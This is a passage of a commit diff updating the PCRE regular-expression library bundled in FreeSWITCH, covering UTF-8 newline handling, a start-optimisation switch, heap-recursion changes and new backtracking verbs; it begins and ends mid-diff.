-character if possible, when not anchored. Then unless wanting a partial match,
-check for a required later character. */
+failed match. If not restarting, perform certain optimizations at the start of
+a match. */
 
 for (;;)
   {
@@ -1937,53 +2755,97 @@
     {
     const uschar *save_end_subject = end_subject;
 
-    /* Advance to a unique first char if possible. If firstline is TRUE, the
-    start of the match is constrained to the first line of a multiline string.
-    Implement this by temporarily adjusting end_subject so that we stop
-    scanning at a newline. If the match fails at the newline, later code breaks
-    this loop. */
+    /* If firstline is TRUE, the start of the match is constrained to the first
+    line of a multiline string. Implement this by temporarily adjusting
+    end_subject so that we stop scanning at a newline. If the match fails at
+    the newline, later code breaks this loop. */
 
     if (firstline)
       {
-      const uschar *t = current_subject;
-      while (t <= save_end_subject - md->nllen && !IS_NEWLINE(t)) t++;
+      USPTR t = current_subject;
+#ifdef SUPPORT_UTF8
+      if (utf8)
+        {
+        while (t < md->end_subject && !IS_NEWLINE(t))
+          {
+          t++;
+          while (t < end_subject && (*t & 0xc0) == 0x80) t++;
+          }
+        }
+      else
+#endif
+      while (t < md->end_subject && !IS_NEWLINE(t)) t++;
       end_subject = t;
       }
 
-    if (first_byte >= 0)
+    /* There are some optimizations that avoid running the match if a known
+    starting point is not found, or if a known later character is not present.
+    However, there is an option that disables these, for testing and for
+    ensuring that all callouts do actually occur. */
+
+    if ((options & PCRE_NO_START_OPTIMIZE) == 0)
       {
-      if (first_byte_caseless)
-        while (current_subject < end_subject &&
-               lcc[*current_subject] != first_byte)
-          current_subject++;
-      else
-        while (current_subject < end_subject && *current_subject != first_byte)
-          current_subject++;
-      }
 
-    /* Or to just after a linebreak for a multiline match if possible */
+      /* Advance to a known first byte. */
 
-    else if (startline)
-      {
-      if (current_subject > md->start_subject + md->nllen +
-          start_offset)
+      if (first_byte >= 0)
         {
-        while (current_subject <= end_subject &&
-               !IS_NEWLINE(current_subject - md->nllen))
-          current_subject++;
+        if (first_byte_caseless)
+          while (current_subject < end_subject &&
+                 lcc[*current_subject] != first_byte)
+            current_subject++;
+        else
+          while (current_subject < end_subject &&
+                 *current_subject != first_byte)
+            current_subject++;
         }
-      }
 
-    /* Or to a non-unique first char after study */
+      /* Or to just after a linebreak for a multiline match if possible */
 
-    else if (start_bits != NULL)
-      {
-      while (current_subject < end_subject)
+      else if (startline)
         {
-        register unsigned int c = *current_subject;
-        if ((start_bits[c/8] & (1 << (c&7))) == 0) current_subject++;
-          else break;
+        if (current_subject > md->start_subject + start_offset)
+          {
+#ifdef SUPPORT_UTF8
+          if (utf8)
+            {
+            while (current_subject < end_subject &&
+                   !WAS_NEWLINE(current_subject))
+              {
+              current_subject++;
+              while(current_subject < end_subject &&
+                    (*current_subject & 0xc0) == 0x80)
+                current_subject++;
+              }
+            }
+          else
+#endif
+          while (current_subject < end_subject && !WAS_NEWLINE(current_subject))
+            current_subject++;
+
+          /* If we have just passed a CR and the newline option is ANY or
+          ANYCRLF, and we are now at a LF, advance the match position by one
+          more character. */
+
+          if (current_subject[-1] == CHAR_CR &&
+               (md->nltype == NLTYPE_ANY || md->nltype == NLTYPE_ANYCRLF) &&
+               current_subject < end_subject &&
+               *current_subject == CHAR_NL)
+            current_subject++;
+          }
         }
+
+      /* Or to a non-unique first char after study */
+
+      else if (start_bits != NULL)
+        {
+        while (current_subject < end_subject)
+          {
+          register unsigned int c = *current_subject;
+          if ((start_bits[c/8] & (1 << (c&7))) == 0) current_subject++;
+            else break;
+          }
+        }
       }
 
     /* Restore fudged end_subject */
@@ -2004,10 +2866,11 @@
   showed up when somebody was matching /^C/ on a 32-megabyte string... so we
   don't do this when the string is sufficiently long.
 
-  ALSO: this processing is disabled when partial matching is requested.
-  */
+  ALSO: this processing is disabled when partial matching is requested, and can
+  also be explicitly deactivated. */
 
-  if (req_byte >= 0 &&
+  if ((options & PCRE_NO_START_OPTIMIZE) == 0 &&
+      req_byte >= 0 &&
       end_subject - current_subject < REQ_BYTE_MAX &&
       (options & PCRE_PARTIAL) == 0)
     {
@@ -2070,9 +2933,7 @@
   /* Advance to the next subject character unless we are at the end of a line
   and firstline is set. */
 
-  if (firstline &&
-      current_subject <= end_subject - md->nllen &&
-      IS_NEWLINE(current_subject)) break;
+  if (firstline && IS_NEWLINE(current_subject)) break;
   current_subject++;
   if (utf8)
     {
@@ -2080,8 +2941,22 @@
       current_subject++;
     }
   if (current_subject > end_subject) break;
-  }
 
+  /* If we have just passed a CR and we are now at a LF, and the pattern does
+  not contain any explicit matches for \r or \n, and the newline option is CRLF
+  or ANY or ANYCRLF, advance the match position by one more character. */
+
+  if (current_subject[-1] == CHAR_CR &&
+      current_subject < end_subject &&
+      *current_subject == CHAR_NL &&
+      (re->flags & PCRE_HASCRORLF) == 0 &&
+        (md->nltype == NLTYPE_ANY ||
+         md->nltype == NLTYPE_ANYCRLF ||
+         md->nllen == 2))
+    current_subject++;
+
+  }   /* "Bumpalong" loop */
+
 return PCRE_ERROR_NOMATCH;
 }
 

Modified: freeswitch/branches/seven/libs/pcre/pcre_exec.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_exec.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_exec.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,25 +42,25 @@
 pattern matching using an NFA algorithm, trying to mimic Perl as closely as
 possible. There are also some static supporting functions. */
 
-#define NLBLOCK md           /* The block containing newline information */
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define NLBLOCK md             /* Block containing newline information */
+#define PSSTART start_subject  /* Field containing processed string start */
+#define PSEND   end_subject    /* Field containing processed string end */
+
 #include "pcre_internal.h"
 
+/* Undefine some potentially clashing cpp symbols */
 
-/* Structure for building a chain of data that actually lives on the
-stack, for holding the values of the subject pointer at the start of each
-subpattern, so as to detect when an empty string has been matched by a
-subpattern - to break infinite loops. When NO_RECURSE is set, these blocks
-are on the heap, not on the stack. */
+#undef min
+#undef max
 
-typedef struct eptrblock {
-  struct eptrblock *epb_prev;
-  USPTR epb_saved_eptr;
-} eptrblock;
-
 /* Flag bits for the match() function */
 
-#define match_condassert   0x01    /* Called to check a condition assertion */
-#define match_isgroup      0x02    /* Set if start of bracketed group */
+#define match_condassert     0x01  /* Called to check a condition assertion */
+#define match_cbegroup       0x02  /* Could-be-empty unlimited repeat group */
 
 /* Non-error returns from the match() function. Error returns are externally
 defined PCRE_ERROR_xxx codes, which are all negative. */
@@ -68,6 +68,14 @@
 #define MATCH_MATCH        1
 #define MATCH_NOMATCH      0
 
+/* Special internal returns from the match() function. Make them sufficiently
+negative to avoid the external error codes. */
+
+#define MATCH_COMMIT       (-999)
+#define MATCH_PRUNE        (-998)
+#define MATCH_SKIP         (-997)
+#define MATCH_THEN         (-996)
+
 /* Maximum number of ints of offset to save on the stack for recursive calls.
 If the offset vector is bigger, malloc is used. This should be a multiple of 3,
 because the offset vector is always a multiple of 3 long. */
@@ -101,7 +109,7 @@
 static void
 pchars(const uschar *p, int length, BOOL is_subject, match_data *md)
 {
-int c;
+unsigned int c;
 if (is_subject && length > md->end_subject - p) length = md->end_subject - p;
 while (length-- > 0)
   if (isprint(c = *(p++))) printf("%c", c); else printf("\\x%02x", c);
@@ -150,13 +158,39 @@
 
 if (length > md->end_subject - eptr) return FALSE;
 
-/* Separate the caselesss case for speed */
+/* Separate the caseless case for speed. In UTF-8 mode we can only do this
+properly if Unicode properties are supported. Otherwise, we can check only
+ASCII characters. */
 
 if ((ims & PCRE_CASELESS) != 0)
   {
+#ifdef SUPPORT_UTF8
+#ifdef SUPPORT_UCP
+  if (md->utf8)
+    {
+    USPTR endptr = eptr + length;
+    while (eptr < endptr)
+      {
+      int c, d;
+      GETCHARINC(c, eptr);
+      GETCHARINC(d, p);
+      if (c != d && c != UCD_OTHERCASE(d)) return FALSE;
+      }
+    }
+  else
+#endif
+#endif
+
+  /* The same code works when not in UTF-8 mode and in UTF-8 mode when there
+  is no UCP support. */
+
   while (length-- > 0)
-    if (md->lcc[*p++] != md->lcc[*eptr++]) return FALSE;
+    { if (md->lcc[*p++] != md->lcc[*eptr++]) return FALSE; }
   }
+
+/* In the caseful case, we can just compare the bytes, whether or not we
+are in UTF-8 mode. */
+
 else
   { while (length-- > 0) if (*p++ != *eptr++) return FALSE; }
 
@@ -186,20 +220,45 @@
 obtained from malloc() instead instead of on the stack. Macros are used to
 achieve this so that the actual code doesn't look very different to what it
 always used to.
+
+The original heap-recursive code used longjmp(). However, it seems that this
+can be very slow on some operating systems. Following a suggestion from Stan
+Switzer, the use of longjmp() has been abolished, at the cost of having to
+provide a unique number for each call to RMATCH. There is no way of generating
+a sequence of numbers at compile time in C. I have given them names, to make
+them stand out more clearly.
+
+Crude tests on x86 Linux show a small speedup of around 5-8%. However, on
+FreeBSD, avoiding longjmp() more than halves the time taken to run the standard
+tests. Furthermore, not using longjmp() means that local dynamic variables
+don't have indeterminate values; this has meant that the frame size can be
+reduced because the result can be "passed back" by straight setting of the
+variable instead of being passed in the frame.
 ****************************************************************************
 ***************************************************************************/
 
+/* Numbers for RMATCH calls. When this list is changed, the code at HEAP_RETURN
+below must be updated in sync.  */
 
+enum { RM1=1, RM2,  RM3,  RM4,  RM5,  RM6,  RM7,  RM8,  RM9,  RM10,
+       RM11,  RM12, RM13, RM14, RM15, RM16, RM17, RM18, RM19, RM20,
+       RM21,  RM22, RM23, RM24, RM25, RM26, RM27, RM28, RM29, RM30,
+       RM31,  RM32, RM33, RM34, RM35, RM36, RM37, RM38, RM39, RM40,
+       RM41,  RM42, RM43, RM44, RM45, RM46, RM47, RM48, RM49, RM50,
+       RM51,  RM52, RM53, RM54 };
+
 /* These versions of the macros use the stack, as normal. There are debugging
-versions and production versions. */
+versions and production versions. Note that the "rw" argument of RMATCH isn't
+actuall used in this definition. */
 
 #ifndef NO_RECURSE
 #define REGISTER register
+
 #ifdef PCRE_DEBUG
-#define RMATCH(rx,ra,rb,rc,rd,re,rf,rg) \
+#define RMATCH(ra,rb,rc,rd,re,rf,rg,rw) \
   { \
   printf("match() called in line %d\n", __LINE__); \
-  rx = match(ra,rb,rc,rd,re,rf,rg,rdepth+1); \
+  rrc = match(ra,rb,mstart,rc,rd,re,rf,rg,rdepth+1); \
   printf("to line %d\n", __LINE__); \
   }
 #define RRETURN(ra) \
@@ -208,43 +267,38 @@
   return ra; \
   }
 #else
-#define RMATCH(rx,ra,rb,rc,rd,re,rf,rg) \
-  rx = match(ra,rb,rc,rd,re,rf,rg,rdepth+1)
+#define RMATCH(ra,rb,rc,rd,re,rf,rg,rw) \
+  rrc = match(ra,rb,mstart,rc,rd,re,rf,rg,rdepth+1)
 #define RRETURN(ra) return ra
 #endif
 
 #else
 
 
-/* These versions of the macros manage a private stack on the heap. Note
-that the rd argument of RMATCH isn't actually used. It's the md argument of
-match(), which never changes. */
+/* These versions of the macros manage a private stack on the heap. Note that
+the "rd" argument of RMATCH isn't actually used in this definition. It's the md
+argument of match(), which never changes. */
 
 #define REGISTER
 
-#define RMATCH(rx,ra,rb,rc,rd,re,rf,rg)\
+#define RMATCH(ra,rb,rc,rd,re,rf,rg,rw)\
   {\
   heapframe *newframe = (pcre_stack_malloc)(sizeof(heapframe));\
-  if (setjmp(frame->Xwhere) == 0)\
-    {\
-    newframe->Xeptr = ra;\
-    newframe->Xecode = rb;\
-    newframe->Xoffset_top = rc;\
-    newframe->Xims = re;\
-    newframe->Xeptrb = rf;\
-    newframe->Xflags = rg;\
-    newframe->Xrdepth = frame->Xrdepth + 1;\
-    newframe->Xprevframe = frame;\
-    frame = newframe;\
-    DPRINTF(("restarting from line %d\n", __LINE__));\
-    goto HEAP_RECURSE;\
-    }\
-  else\
-    {\
-    DPRINTF(("longjumped back to line %d\n", __LINE__));\
-    frame = md->thisframe;\
-    rx = frame->Xresult;\
-    }\
+  frame->Xwhere = rw; \
+  newframe->Xeptr = ra;\
+  newframe->Xecode = rb;\
+  newframe->Xmstart = mstart;\
+  newframe->Xoffset_top = rc;\
+  newframe->Xims = re;\
+  newframe->Xeptrb = rf;\
+  newframe->Xflags = rg;\
+  newframe->Xrdepth = frame->Xrdepth + 1;\
+  newframe->Xprevframe = frame;\
+  frame = newframe;\
+  DPRINTF(("restarting from line %d\n", __LINE__));\
+  goto HEAP_RECURSE;\
+  L_##rw:\
+  DPRINTF(("jumped back to line %d\n", __LINE__));\
   }
 
 #define RRETURN(ra)\
@@ -254,9 +308,8 @@
   (pcre_stack_free)(newframe);\
   if (frame != NULL)\
     {\
-    frame->Xresult = ra;\
-    md->thisframe = frame;\
-    longjmp(frame->Xwhere, 1);\
+    rrc = ra;\
+    goto HEAP_RETURN;\
     }\
   return ra;\
   }
@@ -269,8 +322,9 @@
 
   /* Function arguments that may change */
 
-  const uschar *Xeptr;
+  USPTR Xeptr;
   const uschar *Xecode;
+  USPTR Xmstart;
   int Xoffset_top;
   long int Xims;
   eptrblock *Xeptrb;
@@ -279,19 +333,20 @@
 
   /* Function local variables */
 
-  const uschar *Xcallpat;
-  const uschar *Xcharptr;
-  const uschar *Xdata;
-  const uschar *Xnext;
-  const uschar *Xpp;
-  const uschar *Xprev;
-  const uschar *Xsaved_eptr;
+  USPTR Xcallpat;
+#ifdef SUPPORT_UTF8
+  USPTR Xcharptr;
+#endif
+  USPTR Xdata;
+  USPTR Xnext;
+  USPTR Xpp;
+  USPTR Xprev;
+  USPTR Xsaved_eptr;
 
   recursion_info Xnew_recursive;
 
   BOOL Xcur_is_word;
   BOOL Xcondition;
-  BOOL Xminimize;
   BOOL Xprev_is_word;
 
   unsigned long int Xoriginal_ims;
@@ -303,11 +358,13 @@
   int Xprop_category;
   int Xprop_chartype;
   int Xprop_script;
-  int *Xprop_test_variable;
+  int Xoclength;
+  uschar Xocchars[8];
 #endif
 
+  int Xcodelink;
   int Xctype;
-  int Xfc;
+  unsigned int Xfc;
   int Xfi;
   int Xlength;
   int Xmax;
@@ -321,10 +378,9 @@
 
   eptrblock Xnewptrb;
 
-  /* Place to pass back result, and where to jump back to */
+  /* Where to jump back to */
 
-  int  Xresult;
-  jmp_buf Xwhere;
+  int Xwhere;
 
 } heapframe;
 
@@ -340,10 +396,7 @@
 *         Match from current position            *
 *************************************************/
 
-/* On entry ecode points to the first opcode, and eptr to the first character
-in the subject string, while eptrb holds the value of eptr at the start of the
-last bracketed group - used for breaking infinite loops matching zero-length
-strings. This function is called recursively in many circumstances. Whenever it
+/* This function is called recursively in many circumstances. Whenever it
 returns a negative (error) response, the outer incarnation must also return the
 same response.
 
@@ -353,8 +406,10 @@
 made performance worse.
 
 Arguments:
-   eptr        pointer in subject
-   ecode       position in code
+   eptr        pointer to current character in subject
+   ecode       pointer to current position in compiled code
+   mstart      pointer to the current match start position (can be modified
+                 by encountering \K)
    offset_top  current top pointer
    md          pointer to "static" info for the match
    ims         current /i, /m, and /s options
@@ -362,7 +417,8 @@
                  brackets - for testing for empty matches
    flags       can contain
                  match_condassert - this is an assertion condition
-                 match_isgroup - this is the start of a bracketed group
+                 match_cbegroup - this is the start of an unlimited repeat
+                   group that can match an empty string
    rdepth      the recursion depth
 
 Returns:       MATCH_MATCH if matched            )  these values are >= 0
@@ -372,19 +428,22 @@
 */
 
 static int
-match(REGISTER USPTR eptr, REGISTER const uschar *ecode,
+match(REGISTER USPTR eptr, REGISTER const uschar *ecode, USPTR mstart,
   int offset_top, match_data *md, unsigned long int ims, eptrblock *eptrb,
   int flags, unsigned int rdepth)
 {
 /* These variables do not need to be preserved over recursion in this function,
-so they can be ordinary variables in all cases. Mark them with "register"
-because they are used a lot in loops. */
+so they can be ordinary variables in all cases. Mark some of them with
+"register" because they are used a lot in loops. */
 
 register int  rrc;         /* Returns from recursive calls */
 register int  i;           /* Used for loops not involving calls to RMATCH() */
-register unsigned int  c;  /* Character values not kept over RMATCH() calls */
+register unsigned int c;   /* Character values not kept over RMATCH() calls */
 register BOOL utf8;        /* Local copy of UTF-8 flag for speed */
 
+BOOL minimize, possessive; /* Quantifier options */
+int condcode;
+
 /* When recursion is not being used, all "local" variables that have to be
 preserved over calls to RMATCH() are part of a "frame" which is obtained from
 heap storage. Set up the top-level frame here; others are obtained from the
@@ -398,6 +457,7 @@
 
 frame->Xeptr = eptr;
 frame->Xecode = ecode;
+frame->Xmstart = mstart;
 frame->Xoffset_top = offset_top;
 frame->Xims = ims;
 frame->Xeptrb = eptrb;
@@ -412,6 +472,7 @@
 
 #define eptr               frame->Xeptr
 #define ecode              frame->Xecode
+#define mstart             frame->Xmstart
 #define offset_top         frame->Xoffset_top
 #define ims                frame->Xims
 #define eptrb              frame->Xeptrb
@@ -424,6 +485,7 @@
 #define charptr            frame->Xcharptr
 #endif
 #define callpat            frame->Xcallpat
+#define codelink           frame->Xcodelink
 #define data               frame->Xdata
 #define next               frame->Xnext
 #define pp                 frame->Xpp
@@ -434,7 +496,6 @@
 
 #define cur_is_word        frame->Xcur_is_word
 #define condition          frame->Xcondition
-#define minimize           frame->Xminimize
 #define prev_is_word       frame->Xprev_is_word
 
 #define original_ims       frame->Xoriginal_ims
@@ -446,7 +507,8 @@
 #define prop_category      frame->Xprop_category
 #define prop_chartype      frame->Xprop_chartype
 #define prop_script        frame->Xprop_script
-#define prop_test_variable frame->Xprop_test_variable
+#define oclength           frame->Xoclength
+#define occhars            frame->Xocchars
 #endif
 
 #define ctype              frame->Xctype
@@ -470,7 +532,7 @@
 get preserved during recursion in the normal way. In this environment, fi and
 i, and fc and c, can be the same variables. */
 
-#else
+#else         /* NO_RECURSE not defined */
 #define fi i
 #define fc c
 
@@ -489,7 +551,6 @@
                                    /* that do not have to be preserved over  */
 BOOL cur_is_word;                  /* a recursive call to RMATCH().          */
 BOOL condition;
-BOOL minimize;
 BOOL prev_is_word;
 
 unsigned long int original_ims;
@@ -501,9 +562,11 @@
 int prop_category;
 int prop_chartype;
 int prop_script;
-int *prop_test_variable;
+int oclength;
+uschar occhars[8];
 #endif
 
+int codelink;
 int ctype;
 int length;
 int max;
@@ -516,7 +579,7 @@
 int stacksave[REC_STACK_SAVE_MAX];
 
 eptrblock newptrb;
-#endif
+#endif     /* NO_RECURSE */
 
 /* These statements are here to stop the compiler complaining about unitialized
 variables. */
@@ -524,9 +587,9 @@
 #ifdef SUPPORT_UCP
 prop_value = 0;
 prop_fail_result = 0;
-prop_test_variable = NULL;
 #endif
 
+
 /* This label is used for tail recursion, which is used in a few cases even
 when NO_RECURSE is not defined, in order to reduce the amount of stack that is
 used. Thanks to Ian Taylor for noticing this possibility and sending the
@@ -542,6 +605,12 @@
 complicated macro. It has to be used in one particular way. This shouldn't,
 however, impact performance when true recursion is being used. */
 
+#ifdef SUPPORT_UTF8
+utf8 = md->utf8;       /* Local copy of the flag */
+#else
+utf8 = FALSE;
+#endif
+
 /* First check that we haven't called match() too many times, or that we
 haven't exceeded the recursive call limit. */
 
@@ -550,66 +619,89 @@
 
 original_ims = ims;    /* Save for resetting on ')' */
 
-#ifdef SUPPORT_UTF8
-utf8 = md->utf8;       /* Local copy of the flag */
-#else
-utf8 = FALSE;
-#endif
+/* At the start of a group with an unlimited repeat that may match an empty
+string, the match_cbegroup flag is set. When this is the case, add the current
+subject pointer to the chain of such remembered pointers, to be checked when we
+hit the closing ket, in order to break infinite loops that match no characters.
+When match() is called in other circumstances, don't add to the chain. The
+match_cbegroup flag must NOT be used with tail recursion, because the memory
+block that is used is on the stack, so a new one may be required for each
+match(). */
 
-/* At the start of a bracketed group, add the current subject pointer to the
-stack of such pointers, to be re-instated at the end of the group when we hit
-the closing ket. When match() is called in other circumstances, we don't add to
-this stack. */
-
-if ((flags & match_isgroup) != 0)
+if ((flags & match_cbegroup) != 0)
   {
+  newptrb.epb_saved_eptr = eptr;
   newptrb.epb_prev = eptrb;
-  newptrb.epb_saved_eptr = eptr;
   eptrb = &newptrb;
   }
 
-/* Now start processing the operations. */
+/* Now start processing the opcodes. */
 
 for (;;)
   {
+  minimize = possessive = FALSE;
   op = *ecode;
-  minimize = FALSE;
 
   /* For partial matching, remember if we ever hit the end of the subject after
   matching at least one subject character. */
 
   if (md->partial &&
       eptr >= md->end_subject &&
-      eptr > md->start_match)
+      eptr > mstart)
     md->hitend = TRUE;
 
-  /* Opening capturing bracket. If there is space in the offset vector, save
-  the current subject position in the working slot at the top of the vector. We
-  mustn't change the current values of the data slot, because they may be set
-  from a previous iteration of this group, and be referred to by a reference
-  inside the group.
+  switch(op)
+    {
+    case OP_FAIL:
+    RRETURN(MATCH_NOMATCH);
 
-  If the bracket fails to match, we need to restore this value and also the
-  values of the final offsets, in case they were set by a previous iteration of
-  the same bracket.
+    case OP_PRUNE:
+    RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md,
+      ims, eptrb, flags, RM51);
+    if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+    RRETURN(MATCH_PRUNE);
 
-  If there isn't enough space in the offset vector, treat this as if it were a
-  non-capturing bracket. Don't worry about setting the flag for the error case
-  here; that is handled in the code for KET. */
+    case OP_COMMIT:
+    RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md,
+      ims, eptrb, flags, RM52);
+    if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+    RRETURN(MATCH_COMMIT);
 
-  if (op > OP_BRA)
-    {
-    number = op - OP_BRA;
+    case OP_SKIP:
+    RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md,
+      ims, eptrb, flags, RM53);
+    if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+    md->start_match_ptr = eptr;   /* Pass back current position */
+    RRETURN(MATCH_SKIP);
 
-    /* For extended extraction brackets (large number), we have to fish out the
-    number from a dummy opcode at the start. */
+    case OP_THEN:
+    RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md,
+      ims, eptrb, flags, RM54);
+    if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+    RRETURN(MATCH_THEN);
 
-    if (number > EXTRACT_BASIC_MAX)
-      number = GET2(ecode, 2+LINK_SIZE);
+    /* Handle a capturing bracket. If there is space in the offset vector, save
+    the current subject position in the working slot at the top of the vector.
+    We mustn't change the current values of the data slot, because they may be
+    set from a previous iteration of this group, and be referred to by a
+    reference inside the group.
+
+    If the bracket fails to match, we need to restore this value and also the
+    values of the final offsets, in case they were set by a previous iteration
+    of the same bracket.
+
+    If there isn't enough space in the offset vector, treat this as if it were
+    a non-capturing bracket. Don't worry about setting the flag for the error
+    case here; that is handled in the code for KET. */
+
+    case OP_CBRA:
+    case OP_SCBRA:
+    number = GET2(ecode, 1+LINK_SIZE);
     offset = number << 1;
 
 #ifdef PCRE_DEBUG
-    printf("start bracket %d subject=", number);
+    printf("start bracket %d\n", number);
+    printf("subject=");
     pchars(eptr, 16, TRUE, md);
     printf("\n");
 #endif
@@ -624,11 +716,12 @@
       DPRINTF(("saving %d %d %d\n", save_offset1, save_offset2, save_offset3));
       md->offset_vector[md->offset_end - number] = eptr - md->start_subject;
 
+      flags = (op == OP_SCBRA)? match_cbegroup : 0;
       do
         {
-        RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, eptrb,
-          match_isgroup);
-        if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+        RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md,
+          ims, eptrb, flags, RM1);
+        if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN) RRETURN(rrc);
         md->capture_last = save_capture_last;
         ecode += GET(ecode, 1);
         }
@@ -643,40 +736,51 @@
       RRETURN(MATCH_NOMATCH);
       }
 
-    /* Insufficient room for saving captured contents */
+    /* FALL THROUGH ... Insufficient room for saving captured contents. Treat
+    as a non-capturing bracket. */
 
-    else op = OP_BRA;
-    }
+    /* VVVVVVVVVVVVVVVVVVVVVVVVV */
+    /* VVVVVVVVVVVVVVVVVVVVVVVVV */
 
-  /* Other types of node can be handled by a switch */
+    DPRINTF(("insufficient capture room: treat as non-capturing\n"));
 
-  switch(op)
-    {
-    case OP_BRA:     /* Non-capturing bracket: optimized */
-    DPRINTF(("start bracket 0\n"));
+    /* VVVVVVVVVVVVVVVVVVVVVVVVV */
+    /* VVVVVVVVVVVVVVVVVVVVVVVVV */
 
-    /* Loop for all the alternatives */
+    /* Non-capturing bracket. Loop for all the alternatives. When we get to the
+    final alternative within the brackets, we would return the result of a
+    recursive call to match() whatever happened. We can reduce stack usage by
+    turning this into a tail recursion, except in the case when match_cbegroup
+    is set.*/
 
+    case OP_BRA:
+    case OP_SBRA:
+    DPRINTF(("start non-capturing bracket\n"));
+    flags = (op >= OP_SBRA)? match_cbegroup : 0;
     for (;;)
       {
-      /* When we get to the final alternative within the brackets, we would
-      return the result of a recursive call to match() whatever happened. We
-      can reduce stack usage by turning this into a tail recursion. */
+      if (ecode[GET(ecode, 1)] != OP_ALT)   /* Final alternative */
+        {
+        if (flags == 0)    /* Not a possibly empty group */
+          {
+          ecode += _pcre_OP_lengths[*ecode];
+          DPRINTF(("bracket 0 tail recursion\n"));
+          goto TAIL_RECURSE;
+          }
 
-      if (ecode[GET(ecode, 1)] != OP_ALT)
-       {
-       ecode += 1 + LINK_SIZE;
-       flags = match_isgroup;
-       DPRINTF(("bracket 0 tail recursion\n"));
-       goto TAIL_RECURSE;
-       }
+        /* Possibly empty group; can't use tail recursion. */
 
+        RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md, ims,
+          eptrb, flags, RM48);
+        RRETURN(rrc);
+        }
+
       /* For non-final alternatives, continue the loop for a NOMATCH result;
       otherwise return. */
 
-      RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, eptrb,
-        match_isgroup);
-      if (rrc != MATCH_NOMATCH) RRETURN(rrc);
+      RMATCH(eptr, ecode + _pcre_OP_lengths[*ecode], offset_top, md, ims,
+        eptrb, flags, RM2);
+      if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN) RRETURN(rrc);
       ecode += GET(ecode, 1);
       }
     /* Control never reaches here. */
@@ -688,55 +792,116 @@
     obeyed, we can use tail recursion to avoid using another stack frame. */
 
     case OP_COND:
-    if (ecode[LINK_SIZE+1] == OP_CREF) /* Condition extract or recurse test */
+    case OP_SCOND:
+    codelink= GET(ecode, 1);
+
+    /* Because of the way auto-callout works during compile, a callout item is
+    inserted between OP_COND and an assertion condition. */
+
+    if (ecode[LINK_SIZE+1] == OP_CALLOUT)
       {
+      if (pcre_callout != NULL)
+        {
+        pcre_callout_block cb;
+        cb.version          = 1;   /* Version 1 of the callout block */
+        cb.callout_number   = ecode[LINK_SIZE+2];
+        cb.offset_vector    = md->offset_vector;
+        cb.subject          = (PCRE_SPTR)md->start_subject;
+        cb.subject_length   = md->end_subject - md->start_subject;
+        cb.start_match      = mstart - md->start_subject;
+        cb.current_position = eptr - md->start_subject;
+        cb.pattern_position = GET(ecode, LINK_SIZE + 3);
+        cb.next_item_length = GET(ecode, 3 + 2*LINK_SIZE);
+        cb.capture_top      = offset_top/2;
+        cb.capture_last     = md->capture_last;
+        cb.callout_data     = md->callout_data;
+        if ((rrc = (*pcre_callout)(&cb)) > 0) RRETURN(MATCH_NOMATCH);
+        if (rrc < 0) RRETURN(rrc);
+        }
+      ecode += _pcre_OP_lengths[OP_CALLOUT];
+      }
+
+    condcode = ecode[LINK_SIZE+1];
+
+    /* Now see what the actual condition is */
+
+    if (condcode == OP_RREF)         /* Recursion test */
+      {
+      offset = GET2(ecode, LINK_SIZE + 2);     /* Recursion group number*/
+      condition = md->recursive != NULL &&
+        (offset == RREF_ANY || offset == md->recursive->group_num);
+      ecode += condition? 3 : GET(ecode, 1);
+      }
+
+    else if (condcode == OP_CREF)    /* Group used test */
+      {
       offset = GET2(ecode, LINK_SIZE+2) << 1;  /* Doubled ref number */
-      condition = (offset == CREF_RECURSE * 2)?
-        (md->recursive != NULL) :
-        (offset < offset_top && md->offset_vector[offset] >= 0);
-      ecode += condition? (LINK_SIZE + 4) : (LINK_SIZE + 1 + GET(ecode, 1));
-      flags = match_isgroup;
-      goto TAIL_RECURSE;
+      condition = offset < offset_top && md->offset_vector[offset] >= 0;
+      ecode += condition? 3 : GET(ecode, 1);
       }
 
+    else if (condcode == OP_DEF)     /* DEFINE - always false */
+      {
+      condition = FALSE;
+      ecode += GET(ecode, 1);
+      }
+
     /* The condition is an assertion. Call match() to evaluate it - setting
-    the final argument TRUE causes it to stop at the end of an assertion. */
+    the final argument match_condassert causes it to stop at the end of an
+    assertion. */
 
     else
       {
-      RMATCH(rrc, eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL,
-          match_condassert | match_isgroup);
+      RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL,
+          match_condassert, RM3);
       if (rrc == MATCH_MATCH)
         {
-        ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE+2);
+        condition = TRUE;
+        ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2);
         while (*ecode == OP_ALT) ecode += GET(ecode, 1);
         }
-      else if (rrc != MATCH_NOMATCH)
+      else if (rrc != MATCH_NOMATCH && rrc != MATCH_THEN)
         {
         RRETURN(rrc);         /* Need braces because of following else */
         }
-      else ecode += GET(ecode, 1);
+      else
+        {
+        condition = FALSE;
+        ecode += codelink;
+        }
+      }
 
-      /* We are now at the branch that is to be obeyed. As there is only one,
-      we can use tail recursion to avoid using another stack frame. */
